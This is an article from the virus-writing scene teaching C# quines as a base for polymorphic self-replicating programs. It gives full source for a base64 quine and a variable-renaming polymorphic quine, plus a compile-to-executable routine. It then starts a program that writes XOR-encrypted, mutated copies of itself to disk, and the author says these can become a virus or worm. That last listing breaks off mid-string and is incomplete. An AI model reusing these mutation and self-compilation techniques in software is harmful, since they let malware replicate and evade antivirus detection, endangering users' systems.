    return To index | download demo package!

    ========================
    Quining in C# v1.1
    by alcopaul/brigada ocho
    May 31, 2011
    ========================

    ////////////////////////////////////////////////////////////////////////////////////////

    Disclaimer
    ----------
    Everything enclosed within the file is intended only for educational purposes only.
    The author assumes that all users understand risks involved within this file and/or its
    attached materials.

    The author won't be responsible for any damages to computer systems arising from the
    misuse of this file and/or its attached materials.

    ////////////////////////////////////////////////////////////////////////////////////////

    History
    -------
    05/31/2011 - edited ".NET Polymorphism Attempts (In The VX world)"
    05/14/2011 - version 1.1 of this article
    12/07/2011 - First version of "Quining in C#" was released

    Table of Contents
    -----------------
    I -   Introduction
    II -  Anatomy of a Simpe Quine
    III - A Modern but Simple C# Quine
    IV -  Quines And Polymorphism
    V -   Where Can We Go From Here?
    VI -  .NET Polymorphism Attempts (In The VX world)
    VII - Outroduction

    I - Introduction
    ----------------

    A quine is a computer program that outputs a copy of its own source code. The method of doing so is called quining.

    The term was coined in honor of the philosopher Willard Van Orman Quine, who made an extensive study of indirect
    self-reference, and in particular for the following paradox-producing expression, known as Quine's paradox:

        "Yields falsehood when preceded by its quotation" yields falsehood when preceded by its quotation. (1)

    II - Anatomy of a Simple Quine
    ------------------------------

    Quines are self-referencing programs that follow a basic structure (in C pseudo code),

    =======================================================================================================
    function x () data y = "function x () data y = <1><0><1> print (y, y, char(34))" print (y, y, char(34))
    =======================================================================================================

    The print function takes the string to be printed as the first argument. The rest of the arguments are
    additional strings that are passed inside the string.

    ------------------------------------------------------------------
    print ("asdf<0>fffff<0><1>fffff", "FIRST", "SECOND", ... "NTH")
    ------------------------------------------------------------------

    when the code above is executed, it prints

    ---------------------------------
    asdfFIRSTfffffFIRSTSECONDfffffNTH
    ---------------------------------

    In our quine example, print takes data y, puts data y in the middle of apostrophes (char(34)) and outputs the modified
    data y, which is the replica of itself.

    ============
    Step by step
    ============
    --------------------------------------------------------------------------------------------------------------------------------------
    [original quine]

    function x () data y = "function x () data y = <1><0><1> print (y, y, char(34))" print (y, y, char(34))

    step 1 - what is data y?

    data y = "function x () data y = <1><0><1> print (y, y, char(34))"

    step 2 - print data y with arguments

    print (y, y, char(34))

    step 3 - substitute y with data

    print ("function x () data y = <1><0><1> print (y, y, char(34))", "function x () data y = <1><0><1> print (y, y, char(34))", char(34))

    step 4 - put argument 0 in string

    "function x () data y = <1>[function x () data y = <1><0><1> print (y, y, char(34))]<1> print (y, y, char(34))"

    step 5 - put argument 1 in string

    "function x () data y = ["][function x () data y = <1><0><1> print (y, y, char(34))]["] print (y, y, char(34))"

    step 6 - what is y now? (remove brackets)

    data y = "function x () data y = "function x () data y = <1><0><1> print (y, y, char(34))" print (y, y, char(34))"

    step 7 - print y

    function x () data y = "function x () data y = <1><0><1> print (y, y, char(34))" print (y, y, char(34))

    which is the same as the original quine
    ----------------------------------------------------------------------------------------------------------------------------------------

    You have to take note that for quines to be quines, it has to have an ability to recreate the beginning part and the end part from
    a data string that contains the beginning part and end part. From there, a little fix-ups such as

    ---------------------------------------------------
    (beginning part)(beginning part+end part)(end part)
    ---------------------------------------------------

    will ensure that the full source code is created.

    Of course it has to print itself, to satisfy the definition.

    Many programmers have written quines in different languages. The link below is a repository of quine examples

    http://www.nyx.net/~gthompso/quine.htm

    Quines by definition have no other purpose other than as a programming exercise. As wikipedia puts it, quining is only popular to
    amateur programmers and computer hobbyists but not to computer scientists.

    But just like anything, there has to be something useful that we can make out of it.

    Let us think.

    what can we do with quines? Can we innovate from them?

    The answer is "YES!"

    I'll try to present an idea of how can quines be used in other nifty ways, in C#!

    III - Anatomy of a Modern but Simple C# Quine
    ---------------------------------------------

    But before that, I will describe a modern but simple quine coded in C#...

    When I was trying to conceptualize a C# source code infector(Vitamin C#, which was released in doomriderz#1 and and a variant in dcm#3), I was
    faced with a hurdle. I thought the infector should recreate its source code from itself. After some thinking, I thought of quines. After trying,
    I finally nailed writing a C# quine.

    The code below is basically applying what I've learned from writing Vitamin C#. It looks kinda complicated (maybe because of the weird texts) but
    really it's just simple.

    //==========================================Source Code================================================================

    using System;
    using System.Text;

    namespace ConsoleApplication6
    {
        class Program
        {
            private static string database = "dXNpbmcgU3lzdGVtOw0KdXNpbmcgU3lzdGVtLlRleHQ7DQoNCm5hbWVzcGFjZSBDb25zb2xlQXB
    wbGljYXRpb242DQp7DQogICAgY2xhc3MgUHJvZ3JhbQ0KICAgIHsNCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgc3RyaW5nIGRhdGFiYXNlID0gIg==>Ijs
    NCiAgICAgICAgc3RhdGljIHZvaWQgTWFpbihzdHJpbmdbXSBhcmdzKQ0KICAgICAgICB7DQogICAgICAgICAgICBzdHJpbmdbXSB4dHggPSBkYXRhYmFz
    ZS5TcGxpdChuZXcgY2hhcltdIHsgJz4nIH0pOw0KICAgICAgICAgICAgc3RyaW5nIGNvZGV5ID0gZGVjb2RlYjY0KHh0eFswXSk7DQogICAgICAgICAgI
    CBzdHJpbmcgY29kZXogPSBkZWNvZGViNjQoeHR4WzFdKTsNCiAgICAgICAgICAgIHN0cmluZyBtaWRjb2QgPSB4dHhbMF0gKyAiPiIgKyB4dHhbMV07DQ
    ogICAgICAgICAgICBzdHJpbmcgeGNvZGV4ID0gY29kZXkgKyBtaWRjb2QgKyBjb2RlejsNCiAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKHhjb2R
    leCk7DQogICAgICAgICAgICBDb25zb2xlLlJlYWRLZXkoKTsNCiAgICAgICAgfQ0KICAgICAgICBwcml2YXRlIHN0YXRpYyBzdHJpbmcgZGVjb2RlYjY0
    KHN0cmluZyBkb25ueSkNCiAgICAgICAgew0KICAgICAgICAgICAgYnl0ZVtdIHBsYWluID0gQ29udmVydC5Gcm9tQmFzZTY0U3RyaW5nKGRvbm55KTsNC
    iAgICAgICAgICAgIHJldHVybiBFbmNvZGluZy5BU0NJSS5HZXRTdHJpbmcocGxhaW4pOw0KICAgICAgICB9DQogICAgfQ0KfQ0K";
            static void Main(string[] args)
            {
                string[] xtx = database.Split(new char[] { '>' });
                string codey = decodeb64(xtx[0]);
                string codez = decodeb64(xtx[1]);
                string midcod = xtx[0] + ">" + xtx[1];
                string xcodex = codey + midcod + codez;
                Console.WriteLine(xcodex);
                Console.ReadKey();
            }
            private static string decodeb64(string donny)
            {
                byte[] plain = Convert.FromBase64String(donny);
                return Encoding.ASCII.GetString(plain);
            }
        }
    }
    ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    // note: the "database" variable was formatted for the purpose of the article's readability. in reality, it should be
    //       a long, continuous line of characters. Just remove the carriage returns/linefeeds to compile successfully.
    ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    //======================================================================================================================

    When compiled, the code above will print itself (the source, not the binary) on the console and wait for any key to be pressed to exit.
    Cool? :D

    The general structure is just the same as other quines written in other language. It is made up of:

    1.) The head, which contains the first division of the program.

    =================================== head ====================================
    using System;
    using System.Text;

    namespace ConsoleApplication6
    {
        class Program
        {
            private static string database = "
    =============================================================================

    2.) The tail, which contains the second division of the program

    =================================== tail ====================================
    ";
            static void Main(string[] args)
            {
                string[] xtx = database.Split(new char[] { '>' });
                string codey = decodeb64(xtx[0]);
                string codez = decodeb64(xtx[1]);
                string midcod = xtx[0] + ">" + xtx[1];
                string xcodex = codey + midcod + codez;
                Console.WriteLine(xcodex);
                Console.ReadKey();
            }
            private static string decodeb64(string donny)
            {
                byte[] plain = Convert.FromBase64String(donny);
                return Encoding.ASCII.GetString(plain);
            }
        }
    }
    ============================================================================

    3.) The body in "database" variable, which contains the head's base64 representation, ">" character as delimiter
    and the tail's base64 representation.

    =================================== body ============================================================================
    dXNpbmcgU3lzdGVtOw0KdXNpbmcgU3lzdGVtLlRleHQ7DQoNCm5hbWVzcGFjZSBDb25zb2xlQXB
    wbGljYXRpb242DQp7DQogICAgY2xhc3MgUHJvZ3JhbQ0KICAgIHsNCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgc3RyaW5nIGRhdGFiYXNlID0gIg==>Ijs
    NCiAgICAgICAgc3RhdGljIHZvaWQgTWFpbihzdHJpbmdbXSBhcmdzKQ0KICAgICAgICB7DQogICAgICAgICAgICBzdHJpbmdbXSB4dHggPSBkYXRhYmFz
    ZS5TcGxpdChuZXcgY2hhcltdIHsgJz4nIH0pOw0KICAgICAgICAgICAgc3RyaW5nIGNvZGV5ID0gZGVjb2RlYjY0KHh0eFswXSk7DQogICAgICAgICAgI
    CBzdHJpbmcgY29kZXogPSBkZWNvZGViNjQoeHR4WzFdKTsNCiAgICAgICAgICAgIHN0cmluZyBtaWRjb2QgPSB4dHhbMF0gKyAiPiIgKyB4dHhbMV07DQ
    ogICAgICAgICAgICBzdHJpbmcgeGNvZGV4ID0gY29kZXkgKyBtaWRjb2QgKyBjb2RlejsNCiAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKHhjb2R
    leCk7DQogICAgICAgICAgICBDb25zb2xlLlJlYWRLZXkoKTsNCiAgICAgICAgfQ0KICAgICAgICBwcml2YXRlIHN0YXRpYyBzdHJpbmcgZGVjb2RlYjY0
    KHN0cmluZyBkb25ueSkNCiAgICAgICAgew0KICAgICAgICAgICAgYnl0ZVtdIHBsYWluID0gQ29udmVydC5Gcm9tQmFzZTY0U3RyaW5nKGRvbm55KTsNC
    iAgICAgICAgICAgIHJldHVybiBFbmNvZGluZy5BU0NJSS5HZXRTdHJpbmcocGxhaW4pOw0KICAgICAgICB9DQogICAgfQ0KfQ0K
    =====================================================================================================================
    /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    // note: the "database" variable was formatted for the purpose of the article's readability. in reality, it should be
    //       a long, continuous line of characters. Just remove the carriage returns/linefeeds to compile successfully.
    /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

    To create the "database" variable, just pass the head and tail to the encodeb64 function below,

    ===============================================================
    using System;
    using System.Text;

    ....

    private static string encodeb64(string ggg)
            {
                ASCIIEncoding AEp = new ASCIIEncoding();
                return Convert.ToBase64String(AEp.GetBytes(ggg));
            }
    ....
    ===============================================================

    then concatenate encoded head and encoded tail with ">" character, in a long and continuous line.

    "How does it recreates the source code?"

    When the quine runs, it decodes the head and tail from the body by converting their respective base64 representations to
    plainstring. It will then prepend the decoded head to the body and append the decoded tail to the body to create the
    full source code.

    ==================================================
    ....
    string[] xtx = database.Split(new char[] { '>' });
    string codey = decodeb64(xtx[0]);
    string codez = decodeb64(xtx[1]);
    string midcod = xtx[0] + ">" + xtx[1];
    string xcodex = codey + midcod + codez;
    ....
    ==================================================

    "xcodex" variable now contains the created source code.

    Simple, right?

    IV - Quines And Polymorphism
    ----------------------------

    Since the output is a plaintext file, we can apply some polymorphic techniques (e.g. variable changing) to our quines to
    produce a different but still valid C# source code, which when compiled will still have the same functionality as the original program.

    Below is a commented source of a quine that produces different outputs of itself. (The comments are not included in the base64
    representation of head and tail in "database".)

    /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    // note: the "database" variable was formatted for the purpose of the article's readability. in reality, it should be
    //       a long, continuous line of characters. Just remove the carriage returns/linefeeds to compile successfully.
    ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

    ============================================= Source Code =========================================================================

    using System;
    using System.Text;
    using System.IO;

    namespace ConsoleApplication6
    {
        class XProgramX
        {
            private static string database = "dXNpbmcgU3lzdGVtOw0KdXNpbmcgU3lzdGVtLlRleHQ7DQp1c2luZyBTeXN0ZW0uSU87DQoNCm5hbWVzcGFj
    ZSBDb25zb2xlQXBwbGljYXRpb242DQp7DQogICAgY2xhc3MgWFByb2dyYW1YDQogICAgew0KICAgICAgICBwcml2YXRlIHN0YXRpYyBzdHJpbmcgZGF0YWJhc2UgPS
    Ai>IjsNCiAgICAgICAgc3RhdGljIHZvaWQgTWFpbihzdHJpbmdbXSBhcmdzKQ0KICAgICAgICB7DQogICAgICAgICAgICBzdHJpbmdbXSB4dHggPSBkYXRhYmFzZS5
    TcGxpdChuZXcgY2hhcltdIHsgJz4nIH0pOw0KICAgICAgICAgICAgc3RyaW5nIGNvZGV5ID0gZGVjb2RlYjY0KHh0eFswXSk7DQogICAgICAgICAgICBzdHJpbmcgY
    29kZXogPSBkZWNvZGViNjQoeHR4WzFdKTsNCiAgICAgICAgICAgIHN0cmluZyBjb2RlaSA9IGNvZGV5ICsgZGVjb2RlYjY0KCJmSHg4ZkE9PSIpICsgY29kZXo7DQo
    gICAgICAgICAgICBzdHJpbmcgY29kZWwgPSBwb2x5eChjb2RlaSk7DQogICAgICAgICAgICBzdHJpbmdbXSBmaW5hbHggPSBjb2RlbC5TcGxpdChuZXcgc3RyaW5nW
    10geyBkZWNvZGViNjQoImZIeDhmQT09IikgfSwgU3RyaW5nU3BsaXRPcHRpb25zLk5vbmUpOw0KICAgICAgICAgICAgY29kZXkgPSBmaW5hbHhbMF07DQogICAgICA
    gICAgICBjb2RleiA9IGZpbmFseFsxXTsNCiAgICAgICAgICAgIHN0cmluZyBtaWRjb2QgPSBlbmNvZGViNjQoY29kZXkpICsgIj4iICsgZW5jb2RlYjY0KGNvZGV6K
    TsNCiAgICAgICAgICAgIHN0cmluZyB4Y29kZXggPSBjb2RleSArIG1pZGNvZCArIGNvZGV6Ow0KICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoeGNvZGV4KTs
    NCiAgICAgICAgICAgIENvbnNvbGUuUmVhZEtleSgpOw0KICAgICAgICB9DQogICAgICAgIHByaXZhdGUgc3RhdGljIHN0cmluZyBkZWNvZGViNjQoc3RyaW5nIGRvb
    m55KQ0KICAgICAgICB7DQogICAgICAgICAgICBieXRlW10gcGxhaW54ID0gQ29udmVydC5Gcm9tQmFzZTY0U3RyaW5nKGRvbm55KTsNCiAgICAgICAgICAgIHJldHV
    ybiBFbmNvZGluZy5BU0NJSS5HZXRTdHJpbmcocGxhaW54KTsNCiAgICAgICAgfQ0KICAgICAgICBwcml2YXRlIHN0YXRpYyBzdHJpbmcgZW5jb2RlYjY0KHN0cmluZ
    yBnZ2cpDQogICAgICAgIHsNCiAgICAgICAgICAgIEFTQ0lJRW5jb2RpbmcgQUVwID0gbmV3IEFTQ0lJRW5jb2RpbmcoKTsNCiAgICAgICAgICAgIHJldHVybiBDb25
    2ZXJ0LlRvQmFzZTY0U3RyaW5nKEFFcC5HZXRCeXRlcyhnZ2cpKTsNCiAgICAgICAgfQ0KICAgICAgICBwcml2YXRlIHN0YXRpYyBzdHJpbmcgcG9seXgoc3RyaW5nI
    Gp5dWcpDQogICAgICAgIHsNCiAgICAgICAgICAgIHN0cmluZ1tdIGdob3N0ID0geyAiZW5jb2RlYjY0IiwiZGF0YWJhc2UiLCJhcmdzIiwieHR4IiwiY29kZXkiLCJ
    jb2RleiIsIm1pZGNvZCIsInhjb2RleCIsImRlY29kZWI2NCIsICJwbGFpbngiLCJkb25ueSIsInBvbHl4Iiwianl1ZyIsInBhdGh4IiwiR2V0UmFuZG9tU3RyaW5nI
    iwgIkNvbnNvbGVBcHBsaWNhdGlvbjYiLCAiWFByb2dyYW1YIiwiY29kZWkiLCJjb2RlbCIsImZpbmFseCIsImltcHkiLCJnaG9zdCIsICJBRXAiLCAiZ2dnIn07DQo
    gICAgICAgICAgICBmb3IgKGludCBpbXB5ID0gMDsgaW1weSA8IGdob3N0Lkxlbmd0aDsgaW1weSsrKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGp5d
    WcgPSBqeXVnLlJlcGxhY2UoZ2hvc3RbaW1weV0sIEdldFJhbmRvbVN0cmluZygpKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBqeXVnOw0KICA
    gICAgICB9DQogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEdldFJhbmRvbVN0cmluZygpDQogICAgICAgIHsNCiAgICAgICAgICAgIHN0cmluZyBwYXRoeCA9I
    FBhdGguR2V0UmFuZG9tRmlsZU5hbWUoKTsNCiAgICAgICAgICAgIHBhdGh4ID0gcGF0aHguUmVwbGFjZSgiLiIsICIiKTsNCiAgICAgICAgICAgIHJldHVybiAieCI
    gKyBwYXRoeDsNCiAgICAgICAgfQ0KICAgIH0NCn0=";
            static void Main(string[] args)
            {
                string[] xtx = database.Split(new char[] { '>' });
                string codey = decodeb64(xtx[0]);
                string codez = decodeb64(xtx[1]);
                string codei = codey + decodeb64("fHx8fA==") + codez; // delimiter encoded [decodeb64("fHx8fA==")] to ensure single instance
                string codel = polyx(codei); // to ensure that "database" variable is changed properly
                string[] finalx = codel.Split(new string[] { decodeb64("fHx8fA==") }, StringSplitOptions.None); //after changing both, split again
                codey = finalx[0]; //changed head
                codez = finalx[1]; //changed tail
                string midcod = encodeb64(codey) + ">" + encodeb64(codez); //new midcod
                string xcodex = codey + midcod + codez;   // new valid source
                Console.WriteLine(xcodex);
                Console.ReadKey();
            }
            private static string decodeb64(string donny)
            {
                byte[] plainx = Convert.FromBase64String(donny);
                return Encoding.ASCII.GetString(plainx);
            }
            private static string encodeb64(string ggg)
            {
                ASCIIEncoding AEp = new ASCIIEncoding();
                return Convert.ToBase64String(AEp.GetBytes(ggg));
            }
            private static string polyx(string jyug) // change the variables
            {
                string[] ghost = { "encodeb64","database","args","xtx","codey","codez","midcod","xcodex","decodeb64", "plainx","donny",
    "polyx","jyug","pathx","GetRandomString", "ConsoleApplication6", "XProgramX","codei","codel","finalx","impy","ghost", "AEp", "ggg"};
                for (int impy = 0; impy < ghost.Length; impy++)
                {
                    jyug = jyug.Replace(ghost[impy], GetRandomString());
                }
                return jyug;
            }
            public static string GetRandomString()  // create random string
            {
                string pathx = Path.GetRandomFileName();
                pathx = pathx.Replace(".", "");
                return "x" + pathx;              // make it a valid c# variable by starting with a letter
            }
        }
    }

    ======================================================================================================================================

    When ran, it will produce an output that has different variables in it. Below is the sample output of the above program.

    /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    // note: the "x24dpante5w2" variable was formatted for the purpose of the article's readability. in reality, it should be
    //       a long, continous line of characters. Just remove the carriage returns/linefeeds to compile successfully.
    ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

    using System;
    using System.Text;
    using System.IO;

    namespace xxbfehpulwi1
    {
        class xl2h5u4sq0ou
        {
            private static string x24dpante5w2 = "dXNpbmcgU3lzdGVtOw0KdXNpbmcgU3lzdGVtLlRleHQ7DQp1c2luZyBTeXN0ZW0uSU87DQoNCm5hbWVzcGFjZSB4eG
    JmZWhwdWx3aTENCnsNCiAgICBjbGFzcyB4bDJoNXU0c3Ewb3UNCiAgICB7DQogICAgICAgIHByaXZhdGUgc3RhdGljIHN0cmluZyB4MjRkcGFudGU1dzIgPSAi>IjsNCiAgICAgI
    CAgc3RhdGljIHZvaWQgTWFpbihzdHJpbmdbXSB4M25mdWlxZnpxeW4pDQogICAgICAgIHsNCiAgICAgICAgICAgIHN0cmluZ1tdIHh0aHd4bzVnbmx5ZSA9IHgyNGRwYW50ZTV3M
    i5TcGxpdChuZXcgY2hhcltdIHsgJz4nIH0pOw0KICAgICAgICAgICAgc3RyaW5nIHhscWI1Z2J0a2kwMSA9IHhwbXZybmFramFmZyh4dGh3eG81Z25seWVbMF0pOw0KICAgICAgI
    CAgICAgc3RyaW5nIHhmZ3pza2o1dHB2eSA9IHhwbXZybmFramFmZyh4dGh3eG81Z25seWVbMV0pOw0KICAgICAgICAgICAgc3RyaW5nIHhodXVqZ3FxaHB6dyA9IHhscWI1Z2J0a
    2kwMSArIHhwbXZybmFramFmZygiZkh4OGZBPT0iKSArIHhmZ3pza2o1dHB2eTsNCiAgICAgICAgICAgIHN0cmluZyB4cW5yMGZlMzQxZGwgPSB4dXViZ2NkenYzcHooeGh1dWpnc
    XFocHp3KTsNCiAgICAgICAgICAgIHN0cmluZ1tdIHhmZ2xyaXNvcnhvZSA9IHhxbnIwZmUzNDFkbC5TcGxpdChuZXcgc3RyaW5nW10geyB4cG12cm5ha2phZmcoImZIeDhmQT09I
    ikgfSwgU3RyaW5nU3BsaXRPcHRpb25zLk5vbmUpOw0KICAgICAgICAgICAgeGxxYjVnYnRraTAxID0geGZnbHJpc29yeG9lWzBdOw0KICAgICAgICAgICAgeGZnenNrajV0cHZ5I
    D0geGZnbHJpc29yeG9lWzFdOw0KICAgICAgICAgICAgc3RyaW5nIHhwZ2V2cnptcGZkciA9IHhoYzJjbHV1ZG1lbih4bHFiNWdidGtpMDEpICsgIj4iICsgeGhjMmNsdXVkbWVuK
    HhmZ3pza2o1dHB2eSk7DQogICAgICAgICAgICBzdHJpbmcgeGVxMGlndTRlaXZyID0geGxxYjVnYnRraTAxICsgeHBnZXZyem1wZmRyICsgeGZnenNrajV0cHZ5Ow0KICAgICAgI
    CAgICAgQ29uc29sZS5Xcml0ZUxpbmUoeGVxMGlndTRlaXZyKTsNCiAgICAgICAgICAgIENvbnNvbGUuUmVhZEtleSgpOw0KICAgICAgICB9DQogICAgICAgIHByaXZhdGUgc3Rhd
    GljIHN0cmluZyB4cG12cm5ha2phZmcoc3RyaW5nIHhqdnkwc2t5bm5yZSkNCiAgICAgICAgew0KICAgICAgICAgICAgYnl0ZVtdIHhvM3BkbjBpM29ibSA9IENvbnZlcnQuRnJvb
    UJhc2U2NFN0cmluZyh4anZ5MHNreW5ucmUpOw0KICAgICAgICAgICAgcmV0dXJuIEVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyh4bzNwZG4waTNvYm0pOw0KICAgICAgICB9DQogI
    CAgICAgIHByaXZhdGUgc3RhdGljIHN0cmluZyB4aGMyY2x1dWRtZW4oc3RyaW5nIHhlaXBkdmRoanUxYSkNCiAgICAgICAgew0KICAgICAgICAgICAgQVNDSUlFbmNvZGluZyB4b
    2p4YzFiZXRpdTMgPSBuZXcgQVNDSUlFbmNvZGluZygpOw0KICAgICAgICAgICAgcmV0dXJuIENvbnZlcnQuVG9CYXNlNjRTdHJpbmcoeG9qeGMxYmV0aXUzLkdldEJ5dGVzKHhla
    XBkdmRoanUxYSkpOw0KICAgICAgICB9DQogICAgICAgIHByaXZhdGUgc3RhdGljIHN0cmluZyB4dXViZ2NkenYzcHooc3RyaW5nIHhpbGtoYjAxeGtyZSkNCiAgICAgICAgew0KI
    CAgICAgICAgICAgc3RyaW5nW10geDI0a3VnZTVuZ2JzID0geyAieGhjMmNsdXVkbWVuIiwieDI0ZHBhbnRlNXcyIiwieDNuZnVpcWZ6cXluIiwieHRod3hvNWdubHllIiwieGxxY
    jVnYnRraTAxIiwieGZnenNrajV0cHZ5IiwieHBnZXZyem1wZmRyIiwieGVxMGlndTRlaXZyIiwieHBtdnJuYWtqYWZnIiwgInhvM3BkbjBpM29ibSIsInhqdnkwc2t5bm5yZSIsI
    nh1dWJnY2R6djNweiIsInhpbGtoYjAxeGtyZSIsInhha2dhMmhnc2tvdSIsInhoc2lxY3FidGhueiIsICJ4eGJmZWhwdWx3aTEiLCAieGwyaDV1NHNxMG91IiwieGh1dWpncXFoc
    Hp3IiwieHFucjBmZTM0MWRsIiwieGZnbHJpc29yeG9lIiwieG13cDUycXJ5eW5hIiwieDI0a3VnZTVuZ2JzIiwgInhvanhjMWJldGl1MyIsICJ4ZWlwZHZkaGp1MWEifTsNCiAgI
    CAgICAgICAgIGZvciAoaW50IHhtd3A1MnFyeXluYSA9IDA7IHhtd3A1MnFyeXluYSA8IHgyNGt1Z2U1bmdicy5MZW5ndGg7IHhtd3A1MnFyeXluYSsrKQ0KICAgICAgICAgICAge
    w0KICAgICAgICAgICAgICAgIHhpbGtoYjAxeGtyZSA9IHhpbGtoYjAxeGtyZS5SZXBsYWNlKHgyNGt1Z2U1bmdic1t4bXdwNTJxcnl5bmFdLCB4aHNpcWNxYnRobnooKSk7DQogI
    CAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4geGlsa2hiMDF4a3JlOw0KICAgICAgICB9DQogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIHhoc2lxY3FidGhueigpD
    QogICAgICAgIHsNCiAgICAgICAgICAgIHN0cmluZyB4YWtnYTJoZ3Nrb3UgPSBQYXRoLkdldFJhbmRvbUZpbGVOYW1lKCk7DQogICAgICAgICAgICB4YWtnYTJoZ3Nrb3UgPSB4Y
    WtnYTJoZ3Nrb3UuUmVwbGFjZSgiLiIsICIiKTsNCiAgICAgICAgICAgIHJldHVybiAieCIgKyB4YWtnYTJoZ3Nrb3U7DQogICAgICAgIH0NCiAgICB9DQp9";
            static void Main(string[] x3nfuiqfzqyn)
            {
                string[] xthwxo5gnlye = x24dpante5w2.Split(new char[] { '>' });
                string xlqb5gbtki01 = xpmvrnakjafg(xthwxo5gnlye[0]);
                string xfgzskj5tpvy = xpmvrnakjafg(xthwxo5gnlye[1]);
                string xhuujgqqhpzw = xlqb5gbtki01 + xpmvrnakjafg("fHx8fA==") + xfgzskj5tpvy;
                string xqnr0fe341dl = xuubgcdzv3pz(xhuujgqqhpzw);
                string[] xfglrisorxoe = xqnr0fe341dl.Split(new string[] { xpmvrnakjafg("fHx8fA==") }, StringSplitOptions.None);
                xlqb5gbtki01 = xfglrisorxoe[0];
                xfgzskj5tpvy = xfglrisorxoe[1];
                string xpgevrzmpfdr = xhc2cluudmen(xlqb5gbtki01) + ">" + xhc2cluudmen(xfgzskj5tpvy);
                string xeq0igu4eivr = xlqb5gbtki01 + xpgevrzmpfdr + xfgzskj5tpvy;
                Console.WriteLine(xeq0igu4eivr);
                Console.ReadKey();
            }
            private static string xpmvrnakjafg(string xjvy0skynnre)
            {
                byte[] xo3pdn0i3obm = Convert.FromBase64String(xjvy0skynnre);
                return Encoding.ASCII.GetString(xo3pdn0i3obm);
            }
            private static string xhc2cluudmen(string xeipdvdhju1a)
            {
                ASCIIEncoding xojxc1betiu3 = new ASCIIEncoding();
                return Convert.ToBase64String(xojxc1betiu3.GetBytes(xeipdvdhju1a));
            }
            private static string xuubgcdzv3pz(string xilkhb01xkre)
            {
                string[] x24kuge5ngbs = { "xhc2cluudmen","x24dpante5w2","x3nfuiqfzqyn","xthwxo5gnlye","xlqb5gbtki01","xfgzskj5tpvy","xpgevrzmpfdr",
    "xeq0igu4eivr","xpmvrnakjafg", "xo3pdn0i3obm","xjvy0skynnre","xuubgcdzv3pz","xilkhb01xkre","xakga2hgskou","xhsiqcqbthnz", "xxbfehpulwi1", "xl2h5u4sq0ou",
    "xhuujgqqhpzw","xqnr0fe341dl","xfglrisorxoe","xmwp52qryyna","x24kuge5ngbs", "xojxc1betiu3", "xeipdvdhju1a"};
                for (int xmwp52qryyna = 0; xmwp52qryyna < x24kuge5ngbs.Length; xmwp52qryyna++)
                {
                    xilkhb01xkre = xilkhb01xkre.Replace(x24kuge5ngbs[xmwp52qryyna], xhsiqcqbthnz());
                }
                return xilkhb01xkre;
            }
            public static string xhsiqcqbthnz()
            {
                string xakga2hgskou = Path.GetRandomFileName();
                xakga2hgskou = xakga2hgskou.Replace(".", "");
                return "x" + xakga2hgskou;
            }
        }
    }

    ===================================================================================================================================================

    V - Where Can We Go From Here?
    ------------------------------

    We can combine this ability to quines and polymorphic quines to create a polymorphic C# executable!

    ///////////
    //Outline//
    ///////////

    -----------                               ------------------                                  -----------------------
     Program     ------ Quining Routine --->    Program Source     ---- Polymorphic Routine --->   Modded Program Source
    -----------                               ------------------                                  -----------------------

                              ----------------
    ------ Compilation --->      PrOgRaM(n)
                              ----------------

    And that executable can be a virus, worm or even a legit executable which you just want to have a cool functionality!

    The code snippet below is responsible for the compilation of a C# source file. Just attach this to your program and make your program pass data to zname and
    codey. zname is the filename of the executable to be created and codey is the c# source code.

    ==============================================================================================
    using System.CodeDom;
    using System.CodeDom.Compiler;
    using Microsoft.CSharp;

    .....

            private static bool BuildExe(string zname, string codey)
            {
                ICodeCompiler vic = new CSharpCodeProvider().CreateCompiler();
                CompilerParameters ocp = new CompilerParameters();
                ocp.ReferencedAssemblies.Add("System.dll");
                ocp.GenerateExecutable = true;
                ocp.CompilerOptions = "/target:winexe";
                ocp.OutputAssembly = zname;

                CompilerResults zresults = vic.CompileAssemblyFromSource(ocp, codey);
                if (zresults.Errors.Count == 0)
                {
                    return true;
                }
                else
                {
                    return false;
                }
            }
    ===============================================================================================

    The source code below is a demonstration of polymorphism as outlined above. It creates a different copy of itself in hard disk when run. The "database" variable
    is also polymorphic because its contents are xor encrypted with a variable key, then translated to base64. Note that the encoding is changed from ASCII to UTF8
    to handle large XOR keys.

    Just take a look at it and follow through the comments.
    (Note: The comments are not included in the base64 representation of head and tail in "database".)

    /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    // note: the "database" variable was formatted for the purpose of the article's readability. in reality, it should be
    //       a long, continuous line of characters. Just remove the carriage returns/linefeeds to compile successfully.
    ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

    =================================================Source Code=====================================================================================

    using System;
    using System.Text;
    using System.IO;
    using System.CodeDom;
    using System.CodeDom.Compiler;
    using Microsoft.CSharp;

    namespace ConsoleApplication6
    {
        class XProgramX
        {                    // database = [0] -> key, [1] -> base64 rep of xored "head", key = 8080, [2] base64 rep of xored "tail", key = 8080,
            private static string database = "0008080>4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b
    +j4b+k4b+14b+94b6+4b+E4b+14b+o4b+k4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+Z4b+f4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b
